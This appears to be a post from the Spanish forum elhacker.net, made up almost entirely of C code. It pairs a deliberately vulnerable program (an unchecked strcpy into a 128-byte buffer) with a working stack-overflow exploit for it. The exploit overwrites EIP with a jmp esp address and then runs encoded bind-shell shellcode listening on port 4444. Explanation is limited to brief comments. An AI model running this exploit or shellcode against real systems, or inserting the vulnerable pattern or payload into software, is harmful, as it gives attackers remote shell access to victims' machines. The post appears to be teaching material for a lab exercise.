Foro de elhacker.net

#include <string.h>

void hacer_algo(char *Buffer)
{
  char MyVar[128];
  strcpy(MyVar, Buffer);
}

int main(int argc, char **argv[])
{
  hacer_algo(argv[1]);
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv)
{
    char evilbuffer[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // Basura hasta llegar al EIP
"\x7B\x46\x86\x7C" // EIP --> 0x7C86467B      jmp esp
"\xCC\x90\x90\x90\x90\x90\x90\x90" // Breakpoint + NOPs
"\xbe\x6d\xa5\x2b\x67\xd9\xcf\xd9\x74\x24\xf4\x5f\x31\xc9" // Aqui empieza la shellcode shell_bind_tcp (puerto 4444)
"\xb1\x56\x31\x77\x13\x83\xef\xfc\x03\x77\x62\x47\xde\x9b"
"\x94\x0e\x21\x64\x64\x71\xab\x81\x55\xa3\xcf\xc2\xc7\x73"
"\x9b\x87\xeb\xf8\xc9\x33\x78\x8c\xc5\x34\xc9\x3b\x30\x7a"
"\xca\x8d\xfc\xd0\x08\x8f\x80\x2a\x5c\x6f\xb8\xe4\x91\x6e"
"\xfd\x19\x59\x22\x56\x55\xcb\xd3\xd3\x2b\xd7\xd2\x33\x20"
"\x67\xad\x36\xf7\x13\x07\x38\x28\x8b\x1c\x72\xd0\xa0\x7b"
"\xa3\xe1\x65\x98\x9f\xa8\x02\x6b\x6b\x2b\xc2\xa5\x94\x1d"
"\x2a\x69\xab\x91\xa7\x73\xeb\x16\x57\x06\x07\x65\xea\x11"
"\xdc\x17\x30\x97\xc1\xb0\xb3\x0f\x22\x40\x10\xc9\xa1\x4e"
"\xdd\x9d\xee\x52\xe0\x72\x85\x6f\x69\x75\x4a\xe6\x29\x52"
"\x4e\xa2\xea\xfb\xd7\x0e\x5d\x03\x07\xf6\x02\xa1\x43\x15"
"\x57\xd3\x09\x72\x94\xee\xb1\x82\xb2\x79\xc1\xb0\x1d\xd2"
"\x4d\xf9\xd6\xfc\x8a\xfe\xcd\xb9\x05\x01\xed\xb9\x0c\xc6"
"\xb9\xe9\x26\xef\xc1\x61\xb7\x10\x14\x25\xe7\xbe\xc6\x86"
"\x57\x7f\xb6\x6e\xb2\x70\xe9\x8f\xbd\x5a\x9c\x97\x73\xbe"
"\xcd\x7f\x76\x40\xe0\x23\xff\xa6\x68\xcc\xa9\x71\x04\x2e"
"\x8e\x49\xb3\x51\xe4\xe5\x6c\xc6\xb0\xe3\xaa\xe9\x40\x26"
"\x99\x46\xe8\xa1\x69\x85\x2d\xd3\x6e\x80\x05\x9a\x57\x43"
"\xdf\xf2\x1a\xf5\xe0\xde\xcc\x96\x73\x85\x0c\xd0\x6f\x12"
"\x5b\xb5\x5e\x6b\x09\x2b\xf8\xc5\x2f\xb6\x9c\x2e\xeb\x6d"
"\x5d\xb0\xf2\xe0\xd9\x96\xe4\x3c\xe1\x92\x50\x91\xb4\x4c"
"\x0e\x57\x6f\x3f\xf8\x01\xdc\xe9\x6c\xd7\x2e\x2a\xea\xd8"
"\x7a\xdc\x12\x68\xd3\x99\x2d\x45\xb3\x2d\x56\xbb\x23\xd1"
"\x8d\x7f\x53\x98\x8f\xd6\xfc\x45\x5a\x6b\x61\x76\xb1\xa8"
"\x9c\xf5\x33\x51\x5b\xe5\x36\x54\x27\xa1\xab\x24\x38\x44"
"\xcb\x9b\x39\x4d";
    argv[0] = "Exploit.exe";
    argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
    argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos

    execv("PruebaDeStack.exe", argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento

      return 0;
}